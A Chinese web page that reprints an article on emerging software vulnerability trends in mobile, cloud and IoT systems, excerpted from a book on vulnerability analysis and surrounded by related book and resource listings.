    数据验证测试 数据验证测试目的在于发现由于运行系统没有正确验证来自客户端或外界的数据而产生的安全漏洞。该类技术主要通过构造特定的输入以检测是否可以触发运行系统的某些特定类型安全漏洞 检测运行系统中授权、认证机制中潜在的漏洞 技术比较成熟,可用工具较多,操作简单 分析结果误报率比较高 MVS, AppScan
    数据安全性验证 数据安全性验证旨在发现威胁运行系统内部数据自身安全性的漏洞 检测运行系统中在存储和传输数据时潜在的漏洞 技术比较成熟,可用工具较多,操作简单 分析结果误报率比较高 WireShark

    参考资料

    • 《软件漏洞分析技术》
    展开全文
  • 很好的网络安全书,描述软件漏洞平分析,希望大家喜欢。
  • 关于软件漏洞分析技术的一本书,从事网络安全技术的人员可以看一下。
  • 软件漏洞分析入门专题
  • 《漏洞战争:软件漏洞分析精要》适合计算机相关专业的本科及研究生,研究 windows、 android软件安全,信息安全爱好者,软件安全及移动安全相关的安全从业人员,软件开发与测试人员、黑客等阅读
  • 漏洞战争 软件漏洞分析精要_完整版PDF高清版
  • 《漏洞战争:软件漏洞分析精要》系统地讲解软件漏洞分析与利用所需的各类工具、理论技术和实战方法,主要涉及Windows 和Android 系统平台。
  • 第1章介绍常见的软件漏洞,及这些漏洞出现的原因和危害;第2章主要讲解建立发掘软件安全漏洞的环境;第3章~第9章全面讲解针对不同类型软件的安全漏洞应该采取的漏洞发掘方法。同时结合实际操作和案例解析的方式带领...
  • ◆ ◆ ◆引言近几年,在电脑上的软件漏洞分析与利用技术已经发展得相当成熟,很多技术也被黑产所利用,但也正因为如此,它极大地推进软件漏洞领域的发展,比如微软在IE上新增了许多安全机制(延迟释放、隔离堆、控制...

    ◆ ◆ ◆引言

    近几年,在电脑上的软件漏洞分析与利用技术已经发展得相当成熟,很多技术也被黑产所利用,但也正因为如此,它极大地推进软件漏洞领域的发展,比如微软在IE上新增了许多安全机制(延迟释放、隔离堆、控制流防护等),大大地提升了IE浏览器的安全性。外部曝光的各大APT攻击事件也将持续存在,用的不一定是0day,也可能是一些旧漏洞的综合利用,加上社工及其他高级渗透技术进行长期潜伏以收集目标信息。

    笔者个人认为APT并不是一项新技术或新概念,它只是对过去一些长期潜伏渗透的综合行为所作的概念总结。也就是说,在APT一词出现前,这类APT攻击行为就一直存在,只是刚好有人取此名词,后来被炒火了。特别是国外著名安全厂商FireEye的出现,更大程度地推动了APT概念的发展,因为FireEye每次都能及时地爆光外部正在利用的0day,以及各种APT攻击事件,甚至是各国之间的间谍行动。也正因为如此,后面很长一段时间,流行给各种漏洞或APT攻击事件取个特殊的名称,比如“心脏出血”、“红色十月行动”、“雪人行动”……(在站点https://github.com/ kbandla/APTnotes可以看到从2006年至今的各类APT攻击事件资料)。

    当然,在此期间也有不少厂商为炒作漏洞,将危害一般或者低危的漏洞炒作成很严重的漏洞,以混淆视听,笔者就曾多次在安全应急事件中遇到此类情况。

    下面,我们将看到未来的软件漏洞可能面临哪些新挑战。

    笔者认为未来的软件漏洞领域主要存在以下新挑战,本文将一一介绍。

    ● 移动终端漏洞

    ● 云计算平台漏洞

    ● 物联网漏洞

    移动终端漏洞发展趋势

    移动互联网时代早已到来,以智能手机为主的移动终端也逐渐被黑客所关注,针对移动终端的漏洞和病毒正在呈倍增长,发展迅猛。面对日趋增长的安全威胁,最受影响的主要移动终端系统是Android与iOS,这也是当前用户量最多的两大移动操作系统。移动终端系统的风险除本身系统的安全性外,安装在系统上的其他应用也是引发风险的关键点。

    根据CVE漏洞库(http://web.nvd.nist.gov/view/vuln/statistics)中Android与iOS系统漏洞数量的情况,绘制出Android系统漏洞和iOS系统漏洞的统计图,分别如下图所示,这里不包括第三方应用的漏洞统计。从统计图看,Android系统漏洞呈“山”字形发展,在2012年达到顶峰,这3年有下降趋势,一方面跟Android系统所加入的一些新安全机制有关,另一方面跟它的开放性有关,这为许多安全研究者提供了更多的利用资源,虽然如此,但Android系统所带来的安全风险将持续存在。实际上,Android系统漏洞应该不止这些,因为Linux内核漏洞也会影响到Android,部分漏洞可能未在统计数据范围内。再回头看下iOS系统漏洞情况,其漏洞数量基本保持持续上升的趋势,2015年已经达到历史最高。由于iOS的封闭性,导致iOS安全研究者相对较少,这几年关于它的安全书籍和文章逐渐增加,使得更多安全人员加入iOS安全研究的行列,其被挖掘出来的漏洞也跟着有上升的趋势。

    图片描述

    CVE漏洞库中关于Android系统漏洞的统计图 (注:Linux内核漏洞未在统计范围内,但它也会影响Android系统的安全性,因此实际的Android漏洞数量会更多)

    图片描述

    CVE漏洞库中关于iOS系统漏洞的统计图

    对于Android平台,特别是容易影响第三方应用的通用型漏洞,更容易被黑产所关注和利用,比如WebView漏洞、图片解析库等,未来也会有更多的病毒使用系统漏洞以扩大其危害和传播量。由于手机便携,很多个人隐私信息会直接保存在上面,而且随着移动支付的兴起,通过攻陷手机往往可以拿到很多有价值的信息,比如个人隐私、金融交易密码等,然后再拿来变售个人资料,对窃取的金融账号进行洗钱。另外,一些安全厂商可能也会购买Root提权漏洞,以应用到他们自主开发的Android Root工具中,帮助用户扩展手机使用权限,以使用很多原本无法使用的软件。

    对于iOS平台,越狱一直是个热门的话题,在越狱中使用的漏洞也是非常有价值的,一个越狱漏洞可能卖到50多万美元。一方面是由于iOS安全的门槛相对Android要高很多,而且研究人员也比Android少;另一方面,由于越狱后所能带来的额外利益非常大,找赞助商打广告也是轻而易举的事,可谓名利双收。因此,一个越狱漏洞是完全值那个价位的,将来随着越狱难度的增加,黑市的价格也肯定会跟着上升,但实际上要实现完美越狱都需要多个漏洞组合。

    由于智能手机平台上的应用经常也会嵌入WebView组件以支持网页浏览,所以手机应用也会涉及Web攻防,这就要求移动终端漏洞分析人员的知识面更全面,最好具备二进制与Web攻防的能力,才能更全面地分析和评估移动终端应用。

    云计算平台漏洞发展趋势

    云计算平台可以为用户提供“云”上的服务,这里的“云”可以理解为网络或互联网,用户可以在云上运行自己的程序,同时享受云所提供的服务和资源,不必使用自己的电脑来运行开发的程序,节约软硬件成本。国内的云平台主要有阿里云、腾讯云、新浪SAE、百度云、盛大云等,国外的有Google GAE、亚马逊AWS、微软Azure等。

    根据服务对象的不同,可以简单地将云计算平台分为私有云、公有云和混合云,公有云是为外部用户提供云服务的平台,私有云一般是企业内部专用的云平台,而混合云包含公有云和私有云。从云计算平台构建结构来分,可以分为如下图所示的结构(源自:百度百科)。

    图片描述

    云计算平台架构

    ● SaaS(软件即服务):为消费者提供应用软件。

    ● PaaS(平台即服务):为消费者提供系统平台,比如Windows、Linux等操作系统,以及相应的管理支撑软件、开发工具、安全系统等。

    ● IaaS(基础设施即服务):为消费者提供服务器、存储设备、网络通信设备,以及其他IT基础设施资源。 如果黑客要攻击云平台,那么其最终的目的一般都是为了拿到底层数据中心里的存储数据,因此云安全的本质其实就是数据安全。根据前面的架构分层,可以呈现出不同的漏洞攻击特征。

    ● SaaS层:传统的Web漏洞、软件漏洞都可能会出现,而此层的漏洞风险更大,也是外部最容易触及到的,从目前多数云平台的入侵情况看,Web漏洞导致的直接危害会更多。

    ● PaaS层:Web服务器漏洞,主机安全问题,比如系统提权漏洞。

    ● IaaS层:网络攻击、虚拟机漏洞、数据存储缺陷等。 综合来看,笔者认为当前及未来的主要云安全问题会集中在虚拟机漏洞、Web漏洞、数据安全等方向上,主要有以下原因。

    (1)云平台上一般是多个用户共用一台服务器,如果利用虚拟机漏洞逃逸出去,进而控制主系统,那么攻击者就可能窃取他人的数据并执行其他恶意的越权操作。

    (2)Web漏洞相对其他类型的漏洞门槛会低一些,也是外部最容易接触到的层面,此处若发生安全问题可能直接导致服务器被入侵,危害严重。

    (3)数据加密往往是最后一道防线,即使服务器被入侵,若采用较为坚固的数据加密方案,可以大大地提高免受破解的功能,而若对敏感数据未做加密或采用不安全的加密方式,则破解出数据只是时间问题。

    正因为这些安全问题,所以现在许多云平台自身或者第三方安全厂商会提供一些云安全产品,比如云WAF(如腾讯的“门神”)、云漏洞扫描器(如腾讯云提供的云安全漏洞扫描服务)、主机入侵防御系统(如腾讯的“洋葱”)、数据加密系统(如腾讯的“铁将军”)、DDOS防御系统(如腾讯的“宙斯盾”)等。在此也可以预见未来会有更多的云安全问题出现,相应的云安全产品也是逐渐增多。

    物联网漏洞发展趋势

    物联网(Internet of things,简称IoT),通俗来讲,就是将物体接入互联网所组成的网络,使得物与物,人与物能够进行交互,以便进行智能化管理,比如窗帘,传统上它只是个静态物体,但如果将其接入网络,人们可以直接通过移动终端(手机、平板电脑等)进行控制,实现远程拉窗帘的动作。所以物联网的诞生,势必将改变人们未来的生活。现在物联网才刚刚起步,很多产品做得可能还不够实用,也可能有些只是炒作概念而诞生的产品,但物联网是未来发展的趋势,相信未来会更好。

    由于物联网的介入,使得传统互联网能够从虚拟世界影响到物理世界,那么如果物联网产品存在安全问题,那就有可能直接影响到个人财产安全,甚至人身安全。如果读者有关注过外部报道的关于心脏起搏器、胰岛素泵(注射胰岛素的设备,当注入过量时可导致患者昏迷)被黑客入侵的事,相信就很容易理解。再举个大家经常在电影上看见的场景,比如《窃听风云》中的片段,故事背景如下。

    男主角为了进入警察局的档案室偷取资料,通过黑客技术黑入警察局的监控系统,将监控视频替换为无人状态,以隐藏潜入者的行踪,防止被警察发现。

    相信在许多黑客题材的电影或电视剧里,经常会看到类似的场景。但是这毕竟是电影里的场景,在现实生活中是否真的存在,技术上是否能够实现呢?答案是肯定的。

    图片描述

    《窃听风云》电影片段:通过篡改监控视频隐藏行踪

    腾讯安全应急响应中心(TSRC)的monster同学就曾对百度出品的一款智能摄像头进行研究,发现其存在严重漏洞,利用漏洞能够篡改监控视频,重现类似《窃听风云》里的电影场景。

    图片描述

    TSRC的同学为记者演示如何破解智能门锁

    经过一段时间的研究,我们发现一些当前流行的智能设备都存在安全漏洞,包括智能门锁、智能插座、智能摄像头、移动POS机……很多跟用户财产安全挂钩较紧的智能设备都普遍存在安全问题,总结起来可能有以下几方面原因。

    ● 智能设备领域刚刚起步,业界对智能设备安全的经验积累不足。

    ● 许多创业公司把主要精力投入到业务量上,而忽略对安全的重视。

    ● 业界缺乏统一技术标准,在通信协议、安全体系设计等诸多方面都参差不齐,导致一些隐患的存在。 每一个智能设备漏洞所能造成的危害,主要依赖于它所支持的功能及应用场景。再列举几个此前TSRC的同学研究发现的智能设备漏洞,比如智能门锁被破解后,就可能被入室盗窃,直接危害个人财产安全。

    图片描述

    TSRC的同学为记者演示如何破解智能门锁

    比如某移动POS机存在被劫持盗刷的漏洞,只要用存在漏洞的POS机刷过漏洞,攻击者可在无用户密码、无用户银行卡的情况下,直接窃取用户银行卡上的钱。

    利用移动POS机漏洞盗刷银行卡

    图片描述

    刚刚兴起的车联网也是被曝光存在许多安全问题,比如在2014年GeekPwn智能硬件破解大赛上,Keen团队就现场演示破解特斯拉的场景,通过手机实现远程控制特斯,只需手触屏幕上汽车的几个关键位置,就可以实现打开车门、后备箱、让正向行驶的汽车突然倒车,甚至熄火失控。

    图片描述

    图 GeekPwn大会上破解特斯拉的现场

    在2015年GeekPwn的开场项目中,腾讯安全平台部的gmxp同学利用一系列漏洞成功演示劫持一架正在飞行的大疆精灵3代无人机,夺取了这台无人机的控制权,成功完成无人机的劫持。GeekPwn结束后,组委会立即将漏洞通知给官方,而大疆也很快完成了漏洞的修复。后来,在中央电视台举办的3·15晚会上报道了此次的无人机劫持。

    图片描述

    中央电视台3·15晚会报道的无人机劫持

    以上几个实例只是冰山一角,但它涵盖了人们日常的住、行、金融消费等活动。随着智能设备的普及和功能的多向化,人们的衣、食、住、行已经逐渐被覆盖,比如已经出现的智能内衣(衣)、智能筷子(食)等,甚至一些涉及人体健康的生物医学智能设备也逐渐出现,特别是像心脏起搏器、胰岛素泵等医疗设备,倘若出现安全漏洞,可能直接危害生命。

    总结

    本文主要就未来软件漏洞发展趋势进行探讨,可能面临移动终端、云计算平台、物联网等三大新领域的挑战,并列举出一些可能存在的风险点,以及一些目前已曝光的安全漏洞。相信未来还会有更大的安全漏洞被曝光,而一些新兴领域的安全问题,可能直接危害到用户的金融支付安全,甚至人身安全,相对传统安全问题,其导致的危害被扩大化。因此,提供对这些新兴领域进行预先性研究是很有必要的,只有掌握相应的原理、分析方法、潜在攻击面,在问题爆发后才能够自如应对,避免被打得措手不及。

    相 关 图 书

    图片描述

    《漏洞战争:软件漏洞分析精要》

    系统、全面、深入!

    业内名家一致好评推荐!

    结合众多经典漏洞,深度剖析漏洞攻防实战!

    林桠泉 著

    2016年7月出版

    ◎ 系统讲解软件漏洞分析与利用所需的各类工具、理论技术和实战方法

    ◎ 根据不同软件漏洞类型划分,并加入Android 平台上的漏洞分析与利用

    ◎ 以经典漏洞为例,以分享漏洞分析技巧和工具为主,对漏洞的成因、利用及修复方法进行详细讲解

    本文选自:链接内容

    图片描述

    展开全文
  • 从基于代码相似性的漏洞检测、基于符号执行的漏洞检测、基于规则的漏洞检测以及基于机器学习的漏洞检测4个方面进行了总结,并以基于源代码相似性的漏洞检测系统和面向源代码的软件漏洞智能检测系统两个具体方案为例...
  • 加密软件漏洞评测系统是一个非常专业的文档透明加密系统测试软件。这款文档透明加密系统功能强大,除了漏洞评测之外,还可以进行剪切板控制、虚拟打印机、截屏等实用功能,让你评测更加标准!需要的朋友们可以下载...
  • vul_war, 《漏洞战争:软件漏洞分析精要》配套资料
  • 软件漏洞学习

    2017-07-07 10:01:00
    软件漏洞学习之缓冲区溢出(一) http://www.netfairy.net/?post=123 转载于:https://www.cnblogs.com/xunbu7/p/7130613.html
  • 从零开始学习软件漏洞挖掘系列教程,非常适合初学者学习软件漏洞的挖掘,逆向,网络安全,工具使用等等。从零开始学习软件漏洞挖掘系列教程,非常适合初学者学习软件漏洞的挖掘,逆向,网络安全,工具使用等等。
  • 漏洞战争-软件漏洞分析精要(带索引高清珍藏版PDF)
  • 软件漏洞分析入门

    千次阅读 2018-09-23 11:06:48
    1 引子 To be the apostrophe which changed “Impossible” into “I’m possible” —— failwest 凉风有讯,秋月无边。...从今天开始,准备陆续发一系列关于软件漏洞方面基础知识的帖子,包括软件漏洞...
  • 0day安全 软件漏洞分析技术
  • 加密软件漏洞评测系统是一款专门测试文档透明加密软件漏洞的工具,目的是为了企业在加密软件选型前提供参考。
  • 本书系统地讲解软件漏洞分析与利用所需的各类工具、理论技术和实战方法,主要涉及Windows和Android系统平台。全书根据不同的软件漏洞类型划分,比如栈溢出、堆溢出、UAF、内核漏洞等,同时又针对当前流行的移动安全...
  • 加密软件漏洞评测系统是一个非常专业的文档透明加密系统测试软件。这款文档透明加密系统功能强大,除了漏洞评测之外, 还可以进行剪切板控制、虚拟打印机、截屏等实用功能,让你评测更加标准!  加密软件漏洞评测...
  • 从零开始学习软件漏洞挖掘系列教程
  • 漏洞战争 软件漏洞分析精要_完整版PDF电子书下载 带索引书签目录高清版
  • 软件漏洞分析技术 基本信息 作者: 吴世忠 郭涛 董国伟 张普会 出版社:科学出版社 ISBN:9787030418906 上架时间:2014-10-27 出版日期:2014 年11月 开本:16开 页码:520 版次:1-1
  • 0day安全:软件漏洞分析技术.
  • 在安骑士的系统软件漏洞功能发现您服务器上的漏洞后,您可参考以下方法对您服务器上的漏洞进行修复,保证漏洞修复工作的有效性和可靠性。 说明: 本方法适用于服务器上的各类操作系统、网络设备、数据库、中间件的...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 12,268
精华内容 4,907
关键字:

软件漏洞